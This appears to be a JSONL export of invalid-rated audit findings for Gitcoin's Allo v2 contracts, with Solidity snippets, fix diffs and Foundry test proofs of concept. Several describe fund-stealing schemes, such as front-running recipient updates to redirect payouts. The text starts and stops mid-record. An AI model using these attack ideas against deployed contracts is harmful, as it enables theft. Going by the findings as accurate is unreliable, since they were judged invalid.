DonationVotingMerkleDistributionBaseStrategy is Native, BaseSt\n override\n onlyPoolManager(_sender)\n {\n+ if(merkleRoot == bytes32(0)) revert INVALID_MERKLE_ROOT();\n\n if (!distributionStarted) {\n distributionStarted = true;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/959.md"}} +{"title":"funding of `QVSimpleStrategy.sol` is impossibe since it doesn't have `receive()` function for eth","severity":"info","body":"Mini Garnet Squirrel\n\nhigh\n\n# funding of `QVSimpleStrategy.sol` is impossibe since it doesn't have `receive()` function for eth\nThe QVSimpleStrategy.sol contract currently lacks a receive() function, which means it cannot receive funds directly. Funding for this strategy is typically done by calling the Allo.fundPool() function.in which underhood uses SafeTransferLib.safeTransferETH() if eth is chosen\n## Vulnerability Detail\nAllo protocol, the typical way to fund a strategy is by using the Allo.fundPool() function. Users or smart contracts interact with the Allo contract to provide funds for a pool, and the Allo contract is responsible for distributing those funds to the associated strategy. the QVSimpleStrategy.sol contract cannot receive ether directly because Allo.fundPool() uses SafeTransferLib.safeTransferETH() to transfer eth \n## Impact\nThe absence of a receive() function in the `QVSimpleStrategy.sol` contract directly impact the functioning of the strategy , if someone attempts to send Ether using Allo.fundPool() to the QVSimpleStrategy.sol contract, the transaction will fail, and the funds will not be stored in strategy as intended. U.\n## Code Snippet\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L23\n## Tool used\n\nManual Review\n\n## Recommendation\nadd `receive()` function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/957.md"}} +{"title":"Lack of Access Control in `Allocate Function`","severity":"info","body":"Soaring Grey Piranha\n\nmedium\n\n# Lack of Access Control in `Allocate Function`\nin the `function allocate()` \n```solidity\n function allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant { \n _allocate(_poolId, _data);\n }\n```\nis missing access control\n## Vulnerability Detail\nThe `allocate() function` does not have any access control, meaning that anyone can call it to change the pool strategy for any pool. This is a vulnerability because it allows unauthorized users to perform sensitive operations on the pool.\n## Impact\nThis issue could allow an attacker to change the pool strategy to a malicious one, which could then steal funds from the pool or perform other unauthorized actions.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492-L494\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd access control to the allocate() function to ensure that only authorized users can call it. This can be done by adding a require statement to the beginning of the function that checks whether the caller is an authorized user. For example:\n```solidity\nfunction allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant { \n+ if msg.sender != isPoolAdmin || msg.sender != _isPoolManager\n revert\n _allocate(_poolId, _data);\n }\n```\nIt is important to consider who should be authorized to call the allocate() function. This will depend on the specific use case of the pool.\nIt is also important to implement access control in a secure manner.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/955.md"}} +{"title":"The 'Batch Allocate' function does not handle 'msg.value' properly.","severity":"info","body":"Little Frost Panda\n\nmedium\n\n# The 'Batch Allocate' function does not handle 'msg.value' properly.\n\nRegarding the Batch Allocate function on Allo.sol contract, when utilizing the native token, it currently sends msg.value to each pool allocation without distributing it proportionally among the pools array sent by the user in the function. This can result in either depleting the funds of the Allo Contract or causing the transaction to revert.\n\n## Vulnerability Detail\n\nThis renders the batch allocate function unusable.\n\n## Impact\n\nAs Allo.sol is not intended to serve as a vault and should not hold tokens, I will classify this as having a medium impact.\n\n## Code Snippet\n\nAnyone can invoke the [batch allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362) function, specifying multiple pools and including 'X' amount of a native token as 'value' in the transaction.\n\nIn the loop it will call `_allocate`, with the same 'msg.value' sent by the user\n```solidity\nfor (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n```\n\nand then in the [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492) function it will send by each one of the pools the same msg.value: \n\n```solidity\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nPrior to sending the amount to each pool, divide 'msg.value' by the number of pools.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/954.md"}} +{"title":"The `safeTransferETH` function does not protect from the `gas griefing` attack","severity":"info","body":"Stable Charcoal Bison\n\nmedium\n\n# The `safeTransferETH` function does not protect from the `gas griefing` attack\n\nThe `Solady's` `safeTransferETH` does to save from storage writes or gas griefing attacks while transferring ethers to other addresses. The `SafeTransferLib` itself recommend the `forceSafeTransferETH` function for transferring ethers.\n\n## Vulnerability Detail\n\n```solidity\n/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/SafeTransferLib.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol)\n///\n/// @dev Note:\n/// - For ETH transfers, please use `forceSafeTransferETH` for gas griefing protection.\n/// - For ERC20s, this implementation won't check that a token has code,\n/// responsibility is delegated to the caller.\nlibrary SafeTransferLib {\n```\n\nAs mentioned in the `SafeTransferLib` library of `Solady` => For ETH transfers, please use `forceSafeTransferETH` for gas griefing protection.\n\n```solidity\n/// @dev Sends `amount` (in wei) ETH to `to`.\n/// Reverts upon failure.\n///\n/// Note: This implementation does NOT protect against gas griefing.\n/// Please use `forceSafeTransferETH` for gas griefing protection.\nfunction safeTransferETH(address to, uint256 amount) internal {\n```\n\nAlso, as mentioned above the `safeTransferETH` function of `SafeTransferLib`, this function does not protect against gas griefing attacks, you should use the `forceSafeTransferETH` to safely transfer the ethers.\n\n## Impact\n\nAll these below-mentioned spots are vulnerable to storage writes or gas griefing attacks.\n\n## Code Snippet\n\n[Transfer.sol - Line 51](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L51)\n\n[Transfer.sol - Line 76](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L76)\n\n[Transfer.sol - Line 89](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L89)\n\n[DonationVotingMerkleDistributionDirectTransferStrategy.sol - Line 57](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L57)\n\n[DonationVotingMerkleDistributionVaultStrategy.sol - Line 119](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L119)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n- SafeTransferLib.safeTransferETH(address(this), amount);\n+ SafeTransferLib.forceSafeTransferETH(address(this), amount, gasStipend);\n```\n\nNote: Make sure to set the `gasStipend` amount accordingly.\n\nUse the recommended `forceSafeTransferETH` function to transfer the ethers.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/953.md"}} +{"title":"Admin can assign manager roles to invalid addresses","severity":"info","body":"Little Fuchsia Toad\n\nhigh\n\n# Admin can assign manager roles to invalid addresses\nAdmin can mistakenly assign manager roles to an extruder who is not a member of a profile in the -addPoolManager\n## Vulnerability Detail\nDuring role assignment by the admin using the 'FunctionaddPoolManager'. isOwnerOrMemberOfProfile function\" from the registry contract is not used to crosscheck if new manager is valid before assigning manager roles to them. Thereby allowing extruder addresses to gain managerial roles and manipulate contract by causing denial of service attacks to recipients and causing managerial errors detrimental to normal functioning of the contract.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L263-L269\n## Impact\nHigh\n\n\n## Code Snippet\n`\n function addPoolManager(\n uint256 _poolId,\n address _manager\n ) external onlyPoolAdmin(_poolId) {\n // Reverts if the address is the zero address with 'ZERO_ADDRESS()'\n if (_manager == address(0)) revert ZERO_ADDRESS();\n\n // Grants the pool manager role to the '_manager' address\n _grantRole(pools[_poolId].managerRole, _manager);\n }\n`\n## Tool used\n\nManual Review\n\n## Recommendation\nthe isOwnerOrMemberOfProfile function from the registry contract should be utilized during pool manager assignment to ascertain if new manager address is a valid addresses.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/951.md"}} +{"title":"No function to return money","severity":"info","body":"Feisty Glass Scallop\n\nhigh\n\n# No function to return money\nIn the `Anchor.sol` contract there is a payable `receive` function to accept incoming `eth` from anyone but there isn't any withdraw function to return it, if for some reason someone accidentally send `ether` to this contract there won't be any way to recover it and it will be lost for ever\n\n## Vulnerability Detail\nSee summary\n\n## Impact\nLoss of funds for the user or the sender\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L87\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is recommended to use mapping to store the amount of eth receive and then allow user to withdraw based on it","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/950.md"}} +{"title":"Allo@allocate can lead to ETHbeing locked in strategies due to user error","severity":"info","body":"Curved Chocolate Iguana\n\nmedium\n\n# Allo@allocate can lead to ETHbeing locked in strategies due to user error\nPool managers / users (for strategies that allow it) can mistakenly send ETH to strategies while allocating recipients for a pool.\n\n## Vulnerability Detail\n`Allo@_allocate` always sends the `msg.value` even if the pool is not created with the `NATIVE` token.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352-L354\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492-L494\n\n## Impact\nLocked ETH in strategies.\n\n## Code Snippet\n```solidity\nfunction testAllocateWithMsgValue() public {\n vm.deal(vm.addr(10), 1 ether);\n\n uint256 poolId = _utilCreatePool(0);\n\n assertEq(address(strategy).balance, 0);\n assertEq(vm.addr(10).balance, 1 ether);\n assertFalse(address(token) == Native.NATIVE);\n\n vm.prank(vm.addr(10));\n allo().allocate{value: 0.5 ether}(poolId, bytes(\"\"));\n\n assertEq(address(strategy).balance, 0); \n assertEq(vm.addr(10).balance, 1 ether); \n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEither revert when ETH is sent and the pool doesn't support it\n\n```solidity\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n if (pools[_poolId].token != NATIVE && msg.value > 0) {\n revert(\"UNSUPPORTED_TOKEN\");\n }\n\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```\n\nor adjust the logic to refund the sender in this scenario\n\n```solidity\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n uint256 value;\n\n if (pools[_poolId].token == NATIVE) {\n value = msg.value;\n }\n\n pools[_poolId].strategy.allocate{value: value}(_data, msg.sender);\n\n if (msg.value > value) {\n (bool success,) = payable(msg.sender).call{value: msg.value}(\"\");\n require(success, \"Failed refund\");\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/949.md"}} +{"title":"steal fund","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# steal fund\nin QVBaseStrategy when distributing any one can change the recipientAddress by calling allo.registerRecipient which will help us to update the recipientAddress\n## Vulnerability Detail\nwhen the distribute function is called a user can frontrune and call allo.registerRecipient and upadtes the recipientAddress to his addres to when _distribute transfer fund it will be transfer to his self \n## Impact\nloss of fund\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456\n## Tool used\n\nManual Review\n\n## Recommendation\ndont update the recipeitnaddress when the status is approved","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/948.md"}} +{"title":"`Allo.sol` feeAmount will round down to 0 when user calls `fundPool()` with small amount","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# `Allo.sol` feeAmount will round down to 0 when user calls `fundPool()` with small amount\n\nAllo wonā€™t charge fee for fund small amounts.\n\n## Vulnerability Detail\n\nAllo.sol takes a fee when it funds a pool via `_fundPool()`, and the fee is applied based on the `percentFee`. The variable is represented in `e18` format as specified in the code.\n\n> *How the percentage is represented in our contracts: 1e18 = 100%, 1e17 = 10%, 1e16 = 1%, 1e15 = 0.1%*\n> \n\nSo if Allo is, say, with 1e15 (0.1%), we need to pass at least 1000 as an amount in order for Allo to take a fee, any other numbers below that will round the calculation of fee Amount to 0.\n\nNo matter what `percentFee` is currently set. The amount when fund a pool, must be -\n\n*`1e18 /* percentFee`* or *`1e(18 - percentFee decimals)`*\n\n## Impact\n\nThe user can call `fundPool()` with a small amount many times and Allo will never take any fees.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L496-L520\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse other *`percentFee`* representation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/947.md"}} +{"title":"Potential funds stuck in QVBaseStrategy","severity":"info","body":"Shiny Gingham Bee\n\nmedium\n\n# Potential funds stuck in QVBaseStrategy\nIn `QVBaseStrategy` contract, recipient's payout is calculated based on total votes received proportionally to total global votes, multiplied with total pool amount. While the contract does not have any withdraw function for pool manager, there will be potential stuck funds in contract because of rounding down calculation\n\n## Vulnerability Detail\nPayout amounts formula `amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes`. Here `amount` will be rounded down and there will be `(poolAmount * recipient.totalVotesReceived) % totalRecipientVotes` amount of token stuck in the contract for **each payout**. As long as `totalRecipientVotes` is large enough, stuck funds will be large (depends on value range of voice credits to be used).\n\n## Impact\nThere will be potential stuck funds in pools\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider adding a withdraw function for pool manager that has delay time","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/942.md"}} +{"title":"[MEDIUM] QVBaseStrategy.sol","severity":"info","body":"Massive Misty Cormorant\n\nmedium\n\n# [MEDIUM] QVBaseStrategy.sol\n\nThe **`QVBaseStrategy.sol`** smart contract lacks a **`receive()`** or **`fallback()`** function, making it unable to accept incoming native tokens (e.g., ETH on Ethereum, MATIC on Polygon).\n\n## Vulnerability Detail\n\nPools on the Allo ecosystem should be able to receive ERC20 tokens as well as **native tokens**, which will later be used in order to allocate and distribute in accordance with the attached strategy. \n\nAt the present moment, the **`QVBaseStrategy.sol`** lacks a **`receive()`** or **`fallback()`** which means that it will revert when the **`_transferAmountFrom`** is called from ****************`Allo.sol`****************.\n\n## Impact\n\nUsers utilizing the **`QVBaseStrategy.sol`** the **`QVSimpleStrategy.sol`** , or any strategy inheriting those mentioned above cannot use native tokens in their implementation, which seems to be an unintended bug.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L433-L440\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo allow the contract to accept native tokens on any EVM-compatible network, add a **`receive()`** function if the sole intention is to handle straightforward native token transfers. The function should be **`external`** and **`payable`**:","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/941.md"}} +{"title":"Funds will lost if treasury is blacklisted","severity":"info","body":"Delightful Topaz Penguin\n\nmedium\n\n# Funds will lost if treasury is blacklisted\n\nFunds will lost if treasury is blacklisted \n\n## Vulnerability Detail\n\nSome tokens have blacklisted functions and If this address is blacklisted by the token then address becomes unable to make transfers, leading to funds being stuck in the address indefinitely.\n\nwhenever new pool is created or someone send funds to pool , base fee and other transfer Fee send to `treasury` address\n\n```solidity\nFile: contracts/core/Allo.sol\n[...............]\n476 _transferAmount(NATIVE, treasury, baseFee);\n[..............]\n516 _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L481\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L516\n\nfunds sent to this contract will be lost if token is blacklisted by token.\nAs there is a way to change `treasury` address but that won't help in getting funds back. \nThe following impact is enough to make this Medium\n## Impact\n1. all funds sent to `treasury` will be lost\n2. ProfileOwner won't able to create new pool or fund pool untill Admin changes the treasury address\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L481\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L516\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement withdraw pattern as currently protocol recover funds to any address. Apply similar pattern to deduct fee whenever pool is created or pool are funded.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/938.md"}} +{"title":"merkleRoot can be bytes(0) or \"ā€","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# merkleRoot can be bytes(0) or \"ā€\n\nNo check if *`merkleRoot = ā€œā€`*\n\n## Vulnerability Detail\n\nIn `_validateDistribution()` we should check if the `merkleRoot` is set, to prevent making external calls.\n\nRefer to this one: https://solodit.xyz/issues/m-02-input-data-validation-is-missing-or-incomplete-pashov-none-hypercerts-markdown\n\n## Impact\n\nThe function will cause DoS because the distribution will always fail if `merkleRoot` is not set, but it should calculate it in the external call `MerkleProof.verify(...)`. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L714-L736\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\nfunction _validateDistribution(\n uint256 _index,\n address _recipientId,\n address _recipientAddress,\n uint256 _amount,\n bytes32[] memory _merkleProof\n) internal view returns (bool) {\n // If the '_index' has been distributed this will return 'false'\n if (_hasBeenDistributed(_index)) {\n return false;\n }\n\n+ if (merkleRoot == \"\") return false;\n\n // Generate the node that will be verified in the 'merkleRoot'\n bytes32 node = keccak256(bytes.concat(keccak256(abi.encode(_index, _recipientId, _recipientAddress, _amount))));\n\n // If the node is not verified in the 'merkleRoot' this will return 'false'\n if (!MerkleProof.verify(_merkleProof, merkleRoot, node)) {\n return false;\n }\n\n // Return 'true', the distribution is valid at this point\n return true;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/936.md"}} +{"title":"a user can still more fund than intended","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# a user can still more fund than intended\nif the pending milestone is approved and it is going to be distributed a malicious user can front run and update the milestone percentage by calling alloc.registerRecipient and updating proposalBid with maxBid\n\n## Vulnerability Detail\nin the contract RFPSimpleStrategy the function _distribute is usedd to transferd funds and it uses \n`uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;`\\\nto calculate the amount that is going to be transferred but recipient.proposalBid can be changed by calling alloc.registerRecipient and updating proposalBid with maxBidso what a malcius user can do is first set the proposalBid small to fault users so that is will get approved then when the distrubte function is called make the proposalBid to max so that amount will be big \n## Impact\nsteal funds \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L435\n## Tool used\n\nManual Review\n\n## Recommendation\ndon't update the proposalBid","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/934.md"}} +{"title":"When registery ownership is transferred, previous owner can add him as member before the ownership transfer","severity":"info","body":"Flat Sapphire Platypus\n\nmedium\n\n# When registery ownership is transferred, previous owner can add him as member before the ownership transfer\nPrevious owner can have escalated privileges if he adds himself as member right before the transfer ownership and can have escalated privileges in the system.\n## Vulnerability Detail\nOwner can add members to the register by calling the `addMembers()` function.\n\nBut owner can also be changed, owner may not appear malicous but may escalte the privilieges if right before ownership if transferred he also adds himself as member and members have alot of privileges in the system, which he can than exploit if went rogue.\n\n```solidity\n function addMembers(bytes32 _profileId, address[] memory _members) external onlyProfileOwner(_profileId) {\n uint256 memberLength = _members.length;\n\n // Loop through the members and add them to the profile by granting the role\n for (uint256 i; i < memberLength;) {\n address member = _members[i];\n\n // Will revert if any of the addresses are a zero address\n if (member == address(0)) revert ZERO_ADDRESS();\n\n // Grant the role to the member and emit the event for each member\n _grantRole(_profileId, member);\n unchecked {\n ++i;\n }\n }\n }\n\n```\n\n\n## Impact\nPrevious owner can add him as member and can have escalated privileges even when he is removed from the system as owner.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L284-L300\n## Tool used\n\nManual Review\n\n## Recommendation\nDelete the owner from members too if he is added there, if want to add him as member new owner can add him later.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/933.md"}} +{"title":"`Allo::fundPool()` will not be able to fund a pool if `percentFee` is set to `1e18`","severity":"info","body":"Suave Crimson Peacock\n\nmedium\n\n# `Allo::fundPool()` will not be able to fund a pool if `percentFee` is set to `1e18`\n\nUser will not be able to fund a pool if the percent fee is equal to `1e18` (100 percent). All of the funds will be spent to pay the `percentFee`.\n\n## Vulnerability Detail\n\nThis check in `Allo::updatePercentFee()` (given below) doesn't check if the `percentFee` is set to `1e18` that is 100 percent of the funds. \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L576-L576\n\nThat means if it is set to `1e18` then all of the funds will be spent to pay the fee and `0` will be transferred to the pool (As `_trasnferAmount` doesn't revert on 0 value transfer). This should never be the case. The `percentFee` should always be less than `1e18`. \n\nTo fix that someone would have to call the `_updatePercentFee` again with correct value. Otherwise everyone will spent their whole amounts.\n\n## Impact\n\nUser's will not be able to fund a pool or we can say `0` amount will be transferred to the pool and they will have to spent their all amount on the `percentFee`.\n\n## Code Snippet\n__updatePercentFee_\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L575-L581\n\n__fundPool_\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n\n#### code for POC\n```Javascript\n\n function test_UserWillNeverBeAbleToFundThePoolIfPercentFeeIsOneHundredPercent() public {\n vm.prank(pool_admin());\n // owner creates a pool with ETH as a token\n uint256 poolId = allo().createPoolWithCustomStrategy{value: 0}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n\n uint256 amountToFund = 2 ether;\n uint256 baseFee = 1 ether;\n uint256 percentageFee = 1 ether;\n uint256 percentageFeeForTheAmount = amountToFund * percentageFee / 1e18;\n uint256 alloBalanceBefore = address(allo()).balance;\n uint256 userBalance = 3 ether;\n uint256 extraUserBalance = 1 ether;\n\n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(percentageFee);\n\n // creating user who wants to send the amount\n address user = makeAddr(\"user\");\n\n // sending eth to the user\n vm.deal(user, userBalance + extraUserBalance);\n\n // sending eth to the pool\n // assumption: user send more as value than the amount to fund\n vm.prank(user);\n allo().fundPool{value: userBalance + 10000 wei}(poolId, amountToFund);\n\n // balance after the pool is funded\n uint256 alloBalanceAfter = address(allo()).balance;\n\n // should be zero\n assertEq(address(strategy).balance, 0);\n\n // The allo must have the extra amount\n assertEq(alloBalanceAfter - alloBalanceBefore, userBalance - amountToFund + 10000 wei);\n }\n\n```\n\n\n
\noutput\n\n```bash\n[PASS] test_UserWillNeverBeAbleToFundThePoolIfPercentFeeIsOneHundredPercent() (gas: 458555)\nLogs:\n Sending 1 to the strategy for initialization\n deploying with poolId 1\n 1\n Transfering 2000000000000000000 to 0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4\n Transfering 0 to 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a\n\nTraces:\n [8537687] AlloTest::setUp() \n ā”œā”€ [2129265] ā†’ new Registry@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f\n ā”‚ ā””ā”€ ā† 10635 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576]\n ā”œā”€ [0] VM::label(registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576], registry_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [48636] Registry::initialize(registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x815b5a78dc333d344c7df9da23c04dbd432015cc701876ddb9ffe850e6882747, account: registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576], sender: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])\n ā”‚ ā”œā”€ emit Initialized(version: 1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107]\n ā”œā”€ [0] VM::label(pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], pool_manager1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n 